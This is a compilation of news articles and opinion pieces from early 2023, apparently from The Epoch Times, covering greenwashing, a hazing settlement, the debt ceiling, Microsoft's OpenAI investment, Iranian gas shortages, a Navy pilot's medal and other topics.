Recycled plastic bottles on April 17, 2019. (Brenton Edwards/AFP via Getty Images)

Byington implores consumers to spend time researching company claims before buying products, because green labels can be misleading.

She noted that some clean cosmetics companies may qualify for certain eco-labels, but many of the platforms providing those trusty seals of approval require annual and per-product fees for a product to be entered into a clean database.

Supply chain specialist Melanie DiSalvo agrees that consumers dont put much effort into being as eco-conscious as theyd like to appear.

If people actually cared about environmental issues, they would focus on reusing what they already have and not wasting, DiSalvo told The Epoch Times.

Working with more than 200 sustainable fashion startups at her company Virtue + Vice, DiSalvo says a lot of people dont do real research before buying.

The average consumer reads a few headlines and then makes the purchase. The problem with a lot of these headlines is that they are from influencers who dont have any real authority in the space, she said.

DiSalvo compared it to the old childrens rumor game telephone. An influencer hears something from a sustainability expert, makes a few changes, then parrots it back to the media.

If consumers care about the issues, they should be careful about who they are getting their advice from, she said.

Byington, Wu, and DiSalvo all believe that the trend of greenwashing will continue until better regulations are in place. As a natural byproduct, purchases based on social appeal likely will also.

Because, as DiSalvo pointed out, environmental awareness has nothing to do with image. Its about reducing and reusing.

For example, using an old pasta jar to store dry goods is much more eco than going out and buying all-new mason jars  but then, people wouldnt get the Instagram photos, DiSalvo said.
Hazing Suit at Bowling Green Ends With Nearly $3 Million Settlement

Shari Foltz (2nd L) speaks while her husband Cory Foltz (L) sit next to attorneys Rex Elliott (2nd R) and Sean Alto in a press conference where Elliott announced that the Foltz family will receive nearly $3 million from Bowling Green State University to settle its lawsuit in Bowling Green, Ohio, on Jan. 23, 2023. (Patrick Orsagos/AP Photo)

The family of a student who died from alcohol poisoning while pledging a fraternity will receive nearly $3 million from Bowling Green State University to settle its hazing-related lawsuit, according to an agreement announced Monday.

As part of the settlement, the family of Stone Foltz and the university both said they will work to address and eliminate hazing on college campuses. Foltzs parents have started a foundation focused on hazing education and have spoken to students at other universities about its dangers.

We can continue our fight saving lives, said Shari Foltz, whose son died died of alcohol poisoning in March 2021.

A university investigation found that the 20-year-old had attended a fraternity initiation event where there was a tradition of new members finishing or attempting to finish a bottle of alcohol, according to a university investigation.

Foltz, from Delaware, Ohio, was found unconscious after members of the Pi Kappa Alpha fraternity dropped him off at his apartment. He died three days after he was put on life support.

Both sides said in a joint statement issued Monday that they will be forever impacted by his death.

This resolution keeps the Foltz family and BGSU community from reliving the tragedy for years to come in the courtroom and allows us to focus on furthering our shared mission of eradicating hazing in Ohio and across the nation. Leading these efforts in our communities is the real work that honors Stone, the statement said.

Cory Foltz (L) and his wife Shari Foltz sit next to attorney Rex Elliott in a press conference where Elliott announced that the Foltz family will receive nearly $3 million from Bowling Green State University to settle its lawsuit on Jan. 23, 2023. (Patrick Orsagos/AP Photo)

The settlement with the university is on top of more than $7 million in payouts made to the family by the Pi Kappa Alpha fraternity and those who had a role in the hazing, according to court documents.

Eight former fraternity members either pleaded guilty or were found guilty on various charges, including reckless homicide, hazing and giving alcohol to a minor.

Two of the eight, though, were acquitted last year of more serious charges including involuntary manslaughter and reckless homicide. Their defense attorneys had argued Foltz was not forced or required to finish the entire bottle and made that decision on his own.

In their lawsuit, Foltzs parents accused the school of failing to stop hazing in fraternities and sororities despite being aware of it.

Their attorney, Rex Elliott, said on Monday that the university is making an effort to prevent another tragedy from happening and that colleges nationwide must play a role in reforming how fraternities and sororities bring in new members.

Greek organizations will not survive if hazing doesnt come to an end, Elliott said. Hazing and pledge programs are a relic of the past.

After the hazing death, Bowling Green expelled Pi Kappa Alpha and said it would never again be recognized on campus. The university also developed a plan to address anti-hazing efforts, including hiring a prevention coordinator and making it easier for students to tell the school about hazing.

Stone Foltzs death also spurred changes beyond Bowling Green, including a new state law that created tougher criminal penalties for hazinga proposal first made after an Ohio University student died in 2018 after ingesting nitrous oxide at a fraternity house.

By John Seewer
House Republicans Urge DirecTV Not to Drop Newsmax

View of DirecTV broadcast satellite service provider logo at its headquarters in Caracas on May 19, 2020. (Federico Parra/AFP via Getty Images)

Republican members of Congress are calling on DirecTV to not drop the conservative news network Newsmax from its channel lineup as the satellite provider did to One America News (OAN) last year.

Rep. Wesley Hunt (R-Texas), along with 41 Republican colleagues, said in a letter that there are reasons to believe DirecTV is moving to de-platform Newsmax by denying it cable fees on a fair and equitable basis.

Specifically, the lawmakers cited the cancellation of OAN, a decision that came about a year after Democratic members of the House Energy and Commerce Committee specifically asked providers whether they planned to continue carrying programming for Fox News, OAN, and Newsmaxconservative networks Democrats deemed misinformation rumor mills and conspiracy theory hotbeds that produce content that leads to real harm.

Given the jurisdiction of the energy and commerce committee over your companies business interests, it is reasonable to assume you took this letter seriously and complied with these demands, the lawmaker said in the Jan. 20 letter to DirecTV and its corporate owners, AT&T and TPG Capital.

The Republicans also noted that DirecTV carries 11 liberal outlets including Vice, saying that Vice charges a higher fee from DirecTV than Newsmax is asking despite lower ratings and a smaller viewership.

If Newsmax is removed from DirecTV, in less than a year House Republicans will have lost two of the three cable news channels that reach conservative voters on a platform that primarily serves conservative-leaning areas of the country, they said.

The lawmakers also requested that DirecTV provide information including the ratings for each of the networks mentioned in the letter, with comparative data on all the other networks that are carried by DirecTV, and the corresponding fees paid to these networks.

DirecTV-Newsmax Standoff

Newsmax and DirecTV reportedly have been in talks over a deal to keep the channel on the platform. If the two sides cannot reach an agreement by the end of Tuesday, the channel may no longer be available to millions of subscribers.

In defense of not wanting to pay a fee to broadcast Newsmax, DirecTV said that Newsmax has been streaming its programs on other platforms for free.

Weve discussed with Newsmax on several occasions that wed like to offer their programming, however, the network is now seeking significant fees that we cannot pass on to our broad customer base, the company said in a statement. Additionally, the same programming offered by Newsmax today is already available at no charge to 100 percent of U.S. households including our customers via NewsmaxTV.com, YouTube.com and on multiple streaming platforms like Amazon Fire TV, Roku and Google Play.

Newsmax didnt respond to a request for comment on the negotiation.
Lifeguard Luke Shepardson Wins Hawaii Surfing Super Bowl

Luke Shepardson rides a wave during The Eddie Aikau Big Wave Invitational at Waimea Bay on Sunday, Jan. 22, 2023, on Oahu's North Shore, in Hawaii. (Jamm Aquino/Honolulu Star-Advertiser via AP)

HONOLULULuke Shepardson was declared the winner in one of the worlds most prestigious and storied surfing contests held in Hawaii over the weekend for the first time in seven years.

Shepardson was declared the winner Sunday, Jan. 22, of The Eddie Aikau Big Wave Invitational, while John John Florencethe winner of the event in 2016, the last time it happenedwas named runner-up. Shepardson, a Honolulu Ocean Safety lifeguard, scored 89.1 points out of a possible 90 to edge out defending champion Florence, the Star-Advertiser reported.

Mark Healey took third place and Billy Kemper took fourth.

The competition also featured female surfers for the first time in its 39-year history, and six competed.

Andrea Moller made history as the first female to ride a competitive wave at The Eddie, the newspaper reported.

The one-day contest held in Waimea Bay on Oahus North Shore goes forward only when the surf is consistently large enough during the winter big-wave surfing season from mid-December through mid-March.

Before this year, it had only been held nine times since the initial competition in 1984.

The competition honors legendary Native Hawaiian waterman Eddie Aikau for his selflessness, courage and sacrifice.
Iran Grapples With Winter Gas Shortages Despite Having Worlds Second Largest Gas Reserves

Iranians enjoy a walk in a park during snowfall in the capital Tehran on Jan. 15, 2023. (Atta Kenare/AFP via Getty Images)

For the past month, Iranian officials have been struggling with gas shortages and outages in the north and other parts of the country, where demand for energy is at high records due to unusually cold weather.

Iran, which has the worlds second-largest natural gas reserves, is struggling to meet domestic demand, especially in winter months when energy consumption rises to its highest levels.

In early January, Iran Oil minister Javad Owji said Iran was pumping gas into the national grid at full capacity and was close to reaching peak gas consumption, according to state TV.

In September 2022, Owji said in an interview that Europe should be worried that its industrial production and households would suffer due to reduced gas supplies from Russia due to sanctions in response to its invasion of Ukraine. He warned Europeans of a cold winter and potential gas shortages.

You are being badly governed, the minister said. Iran is capable of supplying gas to its neighbors and even to Europe, reported Deutsche Welle.

At the time, Iran offered itself as an alternative source of natural gas, with Foreign Ministry spokesman Nasser Kanaani saying in early September: We have the worlds second-largest gas reserves and can supply Europe.

Domestic Demand at Record Levels

Now the gas-producing country struggles to meet record levels of domestic demand for the fuel.

Amidst a mixture of cold weather and natural gas shortage, Iranian officials have announced several conflicting plans ranging from a total closure of private and public businesses and schools to shutting down factories and poultry breeding farms, causing massive financial loss.

Last week parts of the country, including the northeast Khorasan region, spent days in darkness and freezing cold following week-long disruptions in household gas supplies while kilometer-long queues of cars have been formed at gas stations in several cities, news media Iran International reported.

Gas shortages resulted in Owji publicly apologizing to citizens last week after week-long disruptions in household gas supplies that left thousands of homes without heating and triggered widespread closures of public service institutions. In a televised interview, Owji he acknowledged that around 17,000 households had been left without gas supplies over several days last week.

Iran holds 1,183 trillion cubic feet of proven gas reserves as of 2017, ranking second in the world, and has proven reserves equivalent to 161.9 times its annual consumption, according to Worldometer.

However, Irans gas sector has suffered from years of underinvestment. For instance, various efforts to develop its share of the giant South Pars/North Dome gas field thats shared with Qatar have been abandoned either because of sanctions or internal policy decisions.

Iran needs around $40 billion of investment and Western technology to boost its gas production, which has been gradually falling, according to Iran International News agency. However, without resolving its disputes with Western powers, Iran would not be able to provide the investment and acquire the technology needed for revitalizing its natural gas production.
After reportedly playing a role in Brazils presidential election, the Biden team is now taking sides against Israels Prime Minister Benjamin Netanyahu. By encouraging domestic opposition to elected governments, the White House is interfering in the political process of allied democracies.

In the latest episode of Over the Target Live, Israeli writer Caroline Glick uncovers the Biden administrations plans to destroy the government in Jerusalem. And Arkansas Congressman Rick Crawford explains the latest developments in the growing Biden scandal.
Kuwaits Government Resigns Amid Struggle With Assembly

DUBAI, United Arab EmiratesKuwaits government resigned on Monday amid a power struggle with the Arab Gulf countrys assembly less than four months after parliamentary elections delivered a mandate for change.

The state-run KUNA news agency confirmed the resignation, which had earlier been reported by local media, without providing further details. Its the fifth time a Kuwaiti government has resigned in just over two years.

The government, which is appointed by the ruling family, has been in a prolonged power struggle with the elected assembly. They had recently clashed over the assemblys advancement of populist measures that the government deems too costly, as well as requests to grill two ministers over alleged economic mismanagement, local media reported.

Kuwait has the freest and most active assembly in the Persian Gulf, but political power is still concentrated in the hands of the ruling Al Sabah family, which appoints the prime minister and Cabinet, and can dissolve the assembly at any time.

Prime Minister of Kuwait Ahmad Nawaf Al-Ahmad Al-Sabah addresses the 77th session of the United Nations General Assembly at U.N. headquarters on Sept. 22, 2022. (Jason DeCrow/AP Photo)

In September, voters sent conservative Islamist figures and two women to the assembly in the second election in less than two years. The election results were seen as a mandate for change amid a prolonged period of gridlock between the Cabinet and the 50-member assembly.

Kuwaits Islamist opposition accuses the government of graft and mismanagement, frequently grilling ministers over their involvement in the misallocation of public funds.

The squabbling has prevented the assembly from passing basic economic reforms, including a public debt law that would allow the government to borrow money, leading to the depletion of its general reserve fund despite its vast oil wealth.

Kuwait, which borders Saudi Arabia and Iraq, has the worlds sixth-largest known oil reserves and hosts some 13,500 American troops.
An Oliver County family is suing a wind farm operator over a turbine that North Dakota regulators said was too close to their house.

The Keith and Deanna Kessler family alleges in part the loss of full use of their property and a devaluing of their property, according to documents filed in federal court in Bismarck. The family is seeking unspecified money damages for financial losses tied to that, along with punitive damages and attorney fees.

Punitive damages are awarded as punishment, as opposed to compensatory damages, which are to cover losses. U.S. Magistrate Judge Clare Hochhalter earlier this month allowed the family to pursue punitive damages from wind farm operator Minnesota Power. A five-day jury trial is scheduled to begin April 29, 2024, before U.S. District Judge Daniel Hovland.

Attorneys for Minnesota Power, which operates the Bison wind farm that straddles Morton and Oliver counties, have asked that the lawsuit be dismissed for several reasons, including their claim that the "Kesslers have not suffered any damages."

The North Dakota Public Service Commission in a rare order in August 2021 told Minnesota Power to remove the turbine that was 1,125 feet away from the Kessler house. At issue was whether the house was considered an occupied residence, as the Kesslers do not live in it full time. The PSC determined it was occupied.

Kessler family attorney Lynn Boughey said in a court document in the lawsuit that the family owns several structures on the property, including one used as a residence adjacent to where the turbine was constructed in 2014. The turbine was within the 1,400-foot buffer the company had indicated it would maintain between turbines and occupied residences.
Man Arrested for Suspected DUI After Striking Pedestrian in San Diego

SAN DIEGOA 60-year-old man was arrested on suspicion of driving under the influence after he struck and badly injured a pedestrian in Pacific Beach, the San Diego Police Department (SDPD) said Monday.

Authorities responded to the accident just before 6:30 p.m. Sunday.

A 30-year-old was using the crosswalk at 4300 Mission Boulevard and 800 Thomas Avenue as he attempted to cross the street from east to west when the suspected intoxicated driver struck him, according to the SDPD.

The victim suffered a fractured right shin bone, compression fractures to his upper spine, and an abrasion to his forehead after the silver 2011 Nissan Altima hit him, according to the department. His injuries were not believed to be life-threatening.

SDPDs Traffic Investigation Unit responded to the scene and arrested the uninjured 60-year-old man.
Man Gets Life in Prison for Murdering Estranged Wife, Her Sister in Escondido

VISTA, Calif.A man who killed his estranged wife and her sister in Escondido was sentenced Jan. 23 to life in prison without the possibility of parole plus 26 years to life in state prison.

Juan Carlos Ortega, 38, was convicted by a Vista jury last month of first-degree murder for the August 2018 deaths of 30-year-old Veronica Soto Ortega and 26-year-old Ana Soto. Both victims bodies were discovered miles apart from each other on Aug. 9, 2018.

Prosecutors said Ortega killed the women at his wifes apartment just after 3 a.m. Both women were stabbed, while Soto was also shot.

At trial, Ortegas defense attorney did not deny that his client killed the women, but alleged he did so in self-defense after Soto put a knife to his throat, the San Diego Union-Tribune reported.

Firefighters first found Sotos body inside a burning SUV near Country Club and Kauana Loa drives. Prosecutors said the SUV was registered to her sister.

Ortegas wife was found dead at her apartment on West 11th Avenue, a few miles away from the site of the burning vehicle. Ortegas two children, then ages 4 and 5, were found unharmed in the apartment.

Ortega was arrested later that day at his workplace in Carlsbad.

Along with two first-degree murder counts, Ortega was convicted of an arson count, two child endangerment counts, and special-circumstance allegations of lying in wait and committing multiple murders.

In a statement, San Diego County District Attorney Summer Stephan said, The brutality with which this defendant killed the two victims is horrendous and is sadly a disturbing example of what can happen when domestic violence escalates.
Manchin Calls White House Stand to Not Negotiate With Republicans on Debt Ceiling a Mistake

Democratic Sen. Joe Manchin of West Virginia said on Sunday that its a mistake that the White House wont negotiate with Republicans on the debt ceiling limit.

The senator made his comments on CNNS Sunday State of the Union program when Dana Bash, the shows host, asked his opinion regarding the recent White House statement that Congress pass a clean debt ceiling increase with no negotiations with Republicans at all.

I think its a mistake because we have to negotiate, Manchin responded. This is a democracy  a two-party system. We should be able to talk and find out where our differences are, he said.

Using the debt ceiling and holding it hostage hasnt worked in the past, he continued, referring to 2011 and 2013 when Republicans held a majority in the House during the Obama administration. Manchin didnt elaborate on which party is currently using the tactic.

In regard to the current debt ceiling predicament, he said, To blame the Republicans, and the Republicans to blame the Democrats, whos at fault? Everybodys at fault.

Borrowing Limit

The United States technically reached its borrowing limit of $31.4 trillion on Jan. 19, but in a letter sent from Treasury Secretary Janet Yellen to Republican Majority Leader Kevin McCarthy on Jan. 13, the Treasury Department said it will take extraordinary measures to prevent the United States from defaulting on its obligations. The measures listed in the letter include suspending scheduled payments into government employee pension funds, which would be made whole once the debt limit impasse has ended.

Yellen predicted that these extraordinary measures will last until June, at which point a default would occur, causing irreparable harm to the U.S. economy, the livelihoods of all Americans, and global financial stability. In a Twitter post on Jan. 21, Yellen said that a default would mark the first in U.S. history. Since 1789, the U.S. has always paid all of its bills, she wrote.

Republicans want guarantees of spending cuts from both the White House and Democrats before agreeing to any extension of the debt ceiling, The Hill reported. The White House and prominent Democrats strongly oppose such conditions, calling for a clean bill.

We should be dealing with the debt ceiling  without conditions, White House press secretary Karine Jean-Pierre said last week, according to NBC News. Were not going to negotiate on this.

However, Manchin told CNN on Sunday that he was open to some reasonable spending cuts, unlike the Biden administrations position that many of his fellow Democrats also hold, saying, Every American has to live within a budget. Shouldnt the federal government have some guardrails that say, Hey, guys, youre overreaching, and youre overspending?

From NTD News
Microsoft Announces Multibillion-Dollar Investment in Artificial Intelligence ChatGPT Creator

A phone is seen in front of a Microsoft logo displayed in this illustration taken on July 26, 2021. (Dado Ruvic/Illustration/Reuters)

Microsoft is investing billions in OpenAI, the creator of the artificial intelligence system ChatGPT, the tech giant has confirmed.

In a blog post on Jan. 23, the company announced the third phase of its long-term partnership with OpenAI through a multiyear, multibillion-dollar investment aimed at accelerating AI breakthroughs to ensure these benefits are broadly shared with the world.

Microsoft previously made investments in OpenAI in 2019 and 2021, the company said.

According to the tech giant which stopped short of revealing the exact amount it was investing in the AI research and deployment companythe funding will go toward the development and deployment of specialized supercomputing systems to accelerate OpenAIs groundbreaking independent AI research.

The company will also deploy OpenAIs models across its consumer and enterprise products and introduce new categories of digital experiences built on OpenAIs technology.

Microsoft is the exclusive provider of cloud computing services to OpenAI through its Azure platform.

According to the blog post, Azure will power all OpenAI workloads across research, products, and API services.

Developing AI That Is Safe, Useful, and Powerful

We formed our partnership with OpenAI around a shared ambition to responsibly advance cutting-edge AI research and democratize AI as a new technology platform, said Satya Nadella, chairman and CEO of Microsoft. In this next phase of our partnership, developers and organizations across industries will have access to the best AI infrastructure, models, and toolchain with Azure to build and run their applications.

In a separate blog post published on Monday, OpenAI said that Microsofts multiyear investment will help the company continue our independent research and develop AI that is increasingly safe, useful, and powerful.

ChatGPT is a free-to-use artificial intelligence chatbot that can produce human-like speech in a conversational way. Specifically, it can answer questions, write fiction and non-fiction content when prompted, perform calculations, and translate text from one language to another.

Most recently, the chatbot was able to pass a graduate-level business examination at the University of Pennsylvanias Wharton School, according to a new research paper by Christian Terwiesch, a professor at the school.

The software, which is trained using reinforcement learning from human feedback (RLHF), initially debuted in November last year and quickly went viral, crossing the mark of one million users within just five days.

However, some experts have raised concerns that the chatbot could be used in negative ways, including helping students cheat on their exams and homework.

Schools Block ChatGPT Over Cheating Concerns

The Los Angeles Unified School District was one of the first districts to block ChatGPT in December in an effort to protect academic honesty.

Earlier this month, the New York City Department of Education blocked ChatGPT service access on its networks and devices, citing concerns over negative impacts on student learning and the safety and accuracy of its content.

Elsewhere, a representative for Seattle Public Schools told Geekwire last week that the district banned ChatGPT from all school devices, again citing concerns over cheating.

OpenAI acknowledges that ChatGPT is not always correct.

Addressing concerns from schools regarding the chatbot, OpenAI CEO Sam Altman said during an interview with StrictlyVCs Connie Loizos earlier this month that generative text is something we all need to adapt to.

We adapted to calculators and changed what we tested for in math class, I imagine. This is a more extreme version of that, no doubt, but also the benefits of it are more extreme, as well, Altman said.

The CEO also pledged to develop techniques to help prevent plagiarism, but warned that such techniques cannot completely ensure that it wont happen.

Were going to try and do some things in the short term, Altman said. There may be ways we can help teachers be a little more likely to detect output of a GPT-like system. But honestly, a determined person will get around them.
Mobile Phone Records Swept Under the Rug in Sexual Assault Trials

An unidentified man using a smart phone walks through London's Canary Wharf financial district in the evening light in London, on Sept. 28, 2018. (Russell Boyce/Reuters)

Commentary

When it comes to teasing out the murky truth in sexual consent cases, the mobile phone is a key source of evidence offering a lifeline that often serves to exonerate accused men.

Thats why phone evidence has become such a hot-button issue, with police and prosecutors now routinely withholding or deleting phone evidence that could be used to disprove the complainants claims.

The public push for more rape convictions means impediments like exculpatory evidence are conveniently overlooked or swept aside.

In Australia, this issue usually emerges only in the stories of individual men seeking justice in our courts, but in the UK, the controversy has been playing out in a very public arena.

Witness the huge scandal five years ago when a series of high-profile British rape cases fell apart because it was discovered the police and prosecutors had withheld social media evidence that could have exonerated the accused men.

The best known was Liam Allan, where the disclosure of 40,000 text messages revealed his accuser had pestered him for sex. Allan avoided a likely 10-year prison sentence only because the prosecution barrister after the trial had actually commenced, insisted the police hand over the phone evidence to the defence lawyers.

This was one of many cases that collapsed due to the very late disclosure of mobile phone evidence that challenged the complainants claims.

With one man, Danny Kay, the evidence which exonerated him came to light only after he had served four years of his sentence.

A file photo of a judges gavel. (Joe Raedle/Getty Images)

Presumption of Guilt

As Dr Rick Bradford, a leading expert on mens issues, explains in his excellent blog, The Empathy Gap, the press interest in these disclosure failures ultimately led to a review by the Justice Select Committee, which concluded prosecutors underestimate the number of cases which fell apart due to disclosure errors by around 90 percent.

The Select Committee had very clear advice for the prosecution services, namely:

Prosecutors must always act in the interests of justice and not solely for the purpose of obtaining a conviction.

It is fundamentally important that all police officers recognise both that they are searching for the truth and that they have core disclosure duties which are central to the criminal justice process.

The key issue in the battle over disclosure is privacy, with the feminists arguing that it violates a complainants privacy to demand her phone correspondence.

The Select Committee stated that this factor was trumped by other considerations.

The law is clear in that the right to a fair trial is an absolute right which cannot be violated to protect the right to privacy, they said, putting the onus on the prosecutors to actively address disclosure issues.

Along came a new DPP (Director of Public Prosecutions), Max Hill, who made it clear whose side he was on in his first public speech.

Rape complainants must have their personal privacy, including mobile phone records, protected, he said.

He showed the feminists that he was their man, and the sound work of the Select Committee went down the gurgler.

According to Bradford, the disclosure issue then dropped from the public agenda, and police and prosecutors are now to working together to achieve more successful prosecutions, which inevitably means suppressing contradictory evidence.

Last year, the prominent Sydney silk, Margaret Cunneen, a former Crown prosecutor, speaking at the Rule of Law Education Centre, revealed that Australian police are now required to refer to complainants as victims and treat them accordingly, pushing all cases through to trial.

Theres not much more investigation that goes on. Theres a zeal to get to the end and convict the charged person, she said.

Former New South Wales (NSW) Police Commissioner Mick Fuller reinforced this point when he said: As police, our primary role is to support victims who courageously come forward to police to report sexual assault.

Nothing about the right to a fair trial. No mention of the search for the truth.

NSW Police Commissioner Mick Fuller speaks during a COVID-19 update and press conference in Sydney, Australia, on July 30, 2021. (Lisa Maree Williams/Pool/Getty Images)

Playing Out Here Down Under

In our courts, the consequences are clear. Just before Christmas, a jury acquitted a young man in a retrial of a sexual assault case that had cost a Sydney family six years of their lives and over $650,000 (US$455,000) in legal fees.

The family is now suing the NSW police for gross negligence over withholding phone evidence that ultimately contributed to their sons acquittal.

It all started in 2016 when their sonIll call him Michaelwas at a boozy party on NSWs Central Coast. Most of the young people present were completely wasted after a long day of drinking and drug-taking.

Suddenly a girl jumped up from the couch where she had been spooning with Michael and claimed she had woken up to find his fingers in her. She later made a further accusation about him doing a similar thing three years earlier at another party, yet theyd remained good friends in the interim.

Three years later, the case was decided. Michael was found guilty of sexual assault. A sympathetic judge sentenced him to 450 hours of community service, taking into account his history of depression. But this young bloke had become a convicted felon, listed on the sex register and marked for life.

Michaels father, Colin, decided to appeal, and thats when things really got interesting. They employed an ex-cop with the skills to investigate Michaels mobile phone. The police claimed it had been sealed away in the period leading up to the trial, but in fact, it had been tampered with and critical conversations erased.

The scene was set for Margaret Cunneen to make mincemeat of the accusers story in the retrial, as she forensically exposed holes in the stories of the accused and her friends.

Michaels accuser repeatedly claimed he had assaulted her with his left hand until it was revealed that his left hand was incapacitated due to surgery, and then she conveniently switched her claim to the right.

Then there was the size of the couch, which Cunneen proved was unlikely to have fitted the hulking young man and his victim if he assaulted her from behind, as alleged unless he was holding her in place.

Hundreds of social media messages were now available to prove the accuser had pursued Michael, even after the first alleged assault.

The jury made the decision to toss the case out in less than two hours. Once they were presented with the truth at the retrial, the decision was easy.

Michael had a family who had the resources to see justice done. Pity the other falsely accused when our police and prosecutors believe only victims and do their darndest to make sure that is the only story heard.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
National Grid to Pay British Households to Use Less Electricity Amid Cold Snap

A smart energy meter, used to monitor gas and electricity use, is pictured in a home in Walthamstow, east London, on Feb. 4, 2022. (Tolga Akmen/AFP via Getty Images)

As temperatures plunge across parts of the UK, a power blackout prevention energy rationing scheme has been rolled out to tighten the electricity supply, for the first time ever.

The National Grid said it would be activating its Demand Flexibility Service (DFS) to encourage households to avoid using electricity at peak time on Monday evenings.

The scheme, which incentivises people who have installed smart meters at their homes to use less electricity such as on radiators, ovens, and washing machines, during specific periods of time, has so far only been used in tests.

A net-zero policy critic told The Epoch Times that the new rationing scheme is a reorganisation of society around the weather.

With DFS, consumers can receive up to 100 in electricity bill discounts by cutting energy use during 12 peak times. More than a million households and businesses have signed up to participate with 26 major energy suppliers.

The National Grid said that the DFS was live between 56 pm on Monday. It added that it was also looking for bids from suppliers to help save up to 341 megawatts (MW) of power between 4:30 p.m. and 6 p.m. on Tuesdays.

National Grid

Freezing temperatures, combined with a lack of wind for renewables, are ramping up the demand for power.

The National Grid said on Twitter that this does not mean electricity supplies are at risk and people should not be worried.

These are precautionary measures to maintain the buffer of spare capacity we need, it said.

It added that its forecasts show electricity supply margins are expected to be tighter than normal on Monday evening.

We have instructed coal-fired power units to be available to increase electricity supplies should it be needed tomorrow evening, it said.

A view of electricity pylons behind houses in Lydd, Kent, England, on Sept. 30, 2022. (Gareth Fuller/PA Media)

Ofgem, the regulator for the energy industry, approved the ESOs proposal to create a DFS for winter back in October.

Three UK coal plants have also been ordered to begin warming up in case they are needed for the countrys energy supply as the temperatures drop.

Head of National Control at National Grid ESO, Craig Dyke, did not say if the scheme would become a feature of British life, but told Sky News that activating it marked a first step towards net zero.

It is something we strongly believe in. It provides flexibility for the system and the consumer. We see this as a growing market. We see this as a world-leading step forward into a space where we can only grow and drive forward toward net zero, he said.

Green agenda

Environmentalism skeptic Ben Pile, co-founder of the Climate Resistance blog and Climate Debate UK, told The Epoch Times, Who knows if the next stage will be, we can interrupt your supply and you can get a cheaper rate.'

He added that the smart grid is really a reorganisation of society around the weather, as its weather-dependent energy.

We are going back to the times of what you can do is determined by the weather. You couldnt read in the evening, then electricity made it possible, he said.

Pile pointed to comments the former National Grid Chief Executive Steve Holliday made in 2011, that the days of permanent electricity may be coming to an end and that families would have to get used to using power only when it was available.

We are going to change our own behaviour and consume it when it is available and available cheaply, Holliday told BBC Radio 4s Today programme.

They have really put the green agenda before the needs of the public, thats the full extent of it, said Pile.

He said that he had met many climate policy skeptics in their 70s, 80s, and 90s who were responsible for building the grid, who were religious in making sure that the key infrastructure of the country was running.

They come up against this stuff and its just anathema to them, they are the guys who follow rules obsessively, and the holy writ for them was grid stability and capacity, he added.

Wind turbines adorn the landscape in the Southern Lake District, in Lambrigg, England, on Nov. 25, 2022. (Christopher Furlong/Getty Images)

100 Percent Zero-Carbon Electricity

Pile warned that there have always been competing types of power, such as petrol for cars, gas for hot water, and coal or nuclear for electricity in the home.

So your cars werent competing with your heating and your heating wasnt competing with your power. When everything is electrified, everything will be competing, Pile said.

However, the National Grid says it is confident that by 2025, it will have periods of 100% zero-carbon electricity, with no fossil fuels used to generate power in Great Britain.

Pile said that the green dream is in an entirely different system, which hasnt been tried and hasnt been proven.

To imagine that we could build efficient wind turbines offshore and then self-store the energy, all at a decent price, and have no problems is just a fantasy, because the grid is such a complicated thing, he added.

The Epoch Times contacted the National Grid for comment.

PA Media contributed to this report.
Navy Pilot Who Beat out 7 Soviet Jets Awarded Navy Cross 70 Years Later

Out-gunned and out-manned, one Navy air pilot was awarded the Navy Crossits second highest military honorat a ceremony on Jan. 20, roughly 70 years after he single-handedly shot down four Soviet fighter jets that ambushed him in a battle that he has been forbidden to discuss, per White House orders, for more than 50 years.

Receiving the honor was 97-year-old Royce Williams, of Escondido, California, and the 35-minute air battle is one of the longest recorded in naval air history, according to declassified government records.

Williamss prowess in the cockpit has become so well-known that he was consulted by producers for Tom Cruises iconic Top Gun movie franchise.

Royce Williams. (Courtesy of Royce Williams)

Cruise congratulated Williams on his recognition in a video posted to Twitter.

Your grit and bravery are simply astounding, Cruise said in the video posted on the same day Williams received the honor. You are a true American hero, and I offer you my most sincere thanks and congratulations to you, sir.

Others congratulating Williams included Rep. Darrell Issa (R-Calif.), who authored legislation last year to push for Williams to receive the Navy Medal of Honor, which didnt gain sufficient traction.

It is, to this day, the most unique U.S.Soviet aerial combat dogfight in the history of the Cold War, Issa said during the ceremony honoring Williams at the San Diego Air and Space Museum. It is my honor to have fought for Royce to gain a recognition that he has not sought but so richly deserves.

Royce Williams (R) and Rep. Darrell Issa (R-Calif.) salute. (Courtesy of Royce Williams)

The Secret Air Battle

Williams was on air patrol over the Yalu River, near the North Korean border, with three other squadron mates on Nov. 18, 1952, when seven Soviet MiG-15sthe most advanced fighter jets of the timecame out of nowhere, Williams told The Epoch Times last year.

His planea single-seat F9F Panther fighter aircraftwas significantly out-gunned by the Soviet aircraft due to its much lower fighting capability and speed, he said.

Through a series of defensive air maneuvers, Williams said he was able to avoid being shot down while simultaneously exploiting mistakes made by the Soviet pilots, ultimately shooting down four of seven aircraft swarming his plane.

Out of ammunition and with his own plane riddled with more than 250 bulletsincluding a critical hit to his fuselage that nearly killed himWilliams retreated to his carrier ducking in and out of cloud cover to avoid one last enemy plane trying to shoot him down.

Williams, who retired from the Navy as a captain in the mid-1970s, recalled near immediate orders from the Eisenhower administration swearing him to secrecy regarding the incident amid Cold War tensions between the United States and the Soviet Union.

If word got out that the Russians engaged [the United States] during the Korean War, it wouldve been World War III, friend and fellow veteran Steve Lewandowski told The Epoch Times last year.

Royce Williams next to an airplane with his name on the side. (Courtesy of Royce Williams)
New Problem for Officials at US-Mexico Border: Smuggled Eggs

A photo taken from the Paso Del Norte internal crossing in El Paso on January 18, 2023, shows eggs taken by a customs officer. (U.S. Customs and Border Protection)

Border officials say that high prices are driving an increase in attempts to smuggle eggs from Mexico into the United States, saying theyve seen an increase in the number of attempts to smuggle the food item.

The San Diego Field Office has recently noticed an increase in the number of eggs intercepted at our ports of entry, Director of Field Operations Jennifer De La O wrote on Tuesday. As a reminder, uncooked eggs are prohibited entry from Mexico into the U.S. Failure to declare agriculture items can result in penalties of up to $10,000.

Over the past year, the price of eggs has soared in supermarkets across the U.S. As of December, Grade A Large eggs cost about $4.25 per dozen, on average, more than twice the price from the $1.79 average in December in 2021, data from the U.S. Bureau of Labor Statistics show.

A 30-count carton of eggs in border city Ciudad Juarez, Mexico, sells for $3.40, according to Border Report. U.S. Customs and Border Protection (CBP) spokesperson Gerrelaine Alcordo told NPR that people are bringing eggs from Juarez to the nearby city of El Paso, Texas, because theyre significantly less expensive there.

A recent report from the Los Angeles Times, meanwhile, said that a dozen eggs are being priced as high as $7.37 in Los Angeles.

